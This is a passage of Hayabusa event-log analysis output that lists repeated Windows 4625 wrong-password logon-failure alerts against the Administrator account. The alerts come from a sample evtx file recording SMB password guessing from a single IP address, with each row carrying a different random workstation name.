NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.392 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Q6DYsaih1Yhb2uOD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.432 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Q4o93QpJL4pxx94q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.476 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lQf1OsHb4lpgMPbl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.525 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HcJUYelneVqBQjr9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.569 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I0d6daEeIadJRbBI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.612 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SQ1hvZeT9aulbu4g : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.660 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 75RBCjr2eRDLhTqW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.700 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: maMlpuzhleuQHhIo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.737 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AkpNfbOHUr7cY52z : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.789 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: R7SUyYbLPfPAGUfw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.845 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7clwftf7R0uNbqJ9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.883 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IsIyPcMAPnlxJa12 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.928 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4CKcyo1Ec4rs3Z2g : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.973 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZlzKvZLO8CDotkbE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.010 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EyRpYYtmD8389Yvp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.060 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: t3Pg0H9Gncoyr45m : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.112 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zksaaJ7Z1wuy4PMx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.154 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3WdYAEdfWxLdM1rh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.195 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VyYFJRy0cxPfqDFh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.241 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Hv2Lz1h1bG6UatVR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.288 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FLKPLfEe3PpEzRNc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.336 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZJWv7ggzCSyEznOI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.381 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZUtR9CNfKMHQMd7T : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.433 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6fYNHuRTqi15cRkL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.488 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DvxZHwJwrBYXlEyv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.530 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jscJTJjhKvCtDl8q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.575 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mZEIEjcimMyHWUsp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.618 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 30OdVRH9ZATLezsR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.652 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TJ1OSBVZHKmyOzj8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.694 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JanG6Q0oYpTdm9mC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.736 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PWCwDYL3T7TAdb0J : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.777 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mRdyZaio1HjUKlNQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.825 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VjiRnExy9TzZTG0R : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.860 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ztUyQpl8c9RoAr1j : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.909 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jC23QAFM07q7cfVo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.957 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TSM8lmdOFoDslQNa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.000 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sGZaUGAT1oXmnGLB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.049 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZMNo21pTA67pb7Go : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.091 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EiTZCqK3m4icL1Vi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.124 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZaZ2mnoihX1Ec4di : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.160 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ihm9zaXkmWklXk4u : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.201 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yLIZ3tlw9VlQmK28 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.249 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GVHzJHTi55NbxXYY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.296 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1FROeEnMLna2fTTH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.332 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pio6ZZ9pV0pS2Whi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.376 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: h1aD2w5U5K9ND5HV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.428 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zF8Jb4GpG4D3xn9i : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.457 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Edv4GwGfL156V1xe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.570 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Irvneva9RFn44iII : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.617 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dHtJFI8OL9kJylL5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.661 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: F5Q4h62T77hGjhKe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.696 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DdSALwo9td9xUeBq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.752 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1kYfoqz1r1NuEn04 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.791 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7X400gufqdunUa8j : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.825 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lLR8z7g0GY8r7a1r : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.867 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QHMztrxiKBGtNqkp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.905 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7eBQevVhmZs5gHFD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.953 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lyQCs0PG6fGzpidu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:48.996 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XnsPjnCieyoFIbJZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.052 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ku6mjVaG1lCJrAo1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.096 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VwiyVIWHOGuHzhdO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.149 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 92v1rXcj5c0Lt3OF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.184 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yO2JYd6FfM2Y7px9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.225 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ltr5g8ZWUAdrPKxg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.272 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fjiPMy5uOTbbmaQ5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.296 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HDRVOzxca9wDJziV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.333 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DV28RjUK26Je2Dr9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.382 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: seoetT43w0S3FEss : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.422 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IdIU9Q9Ig4Bd3Aps : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.468 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jGzuHSHT59Qnp5jI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.525 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wPA1J7aQrZ064WSf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.576 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HhLFXDMUKGfdoc4S : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.621 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: apVAhc6o3dhLmUll : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.656 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FYMdQeB4ZpFm8xDh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:49.698 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QewW1ISqRdXwtSXA : IP Address: 192.168.198.149 : AuthPackage: 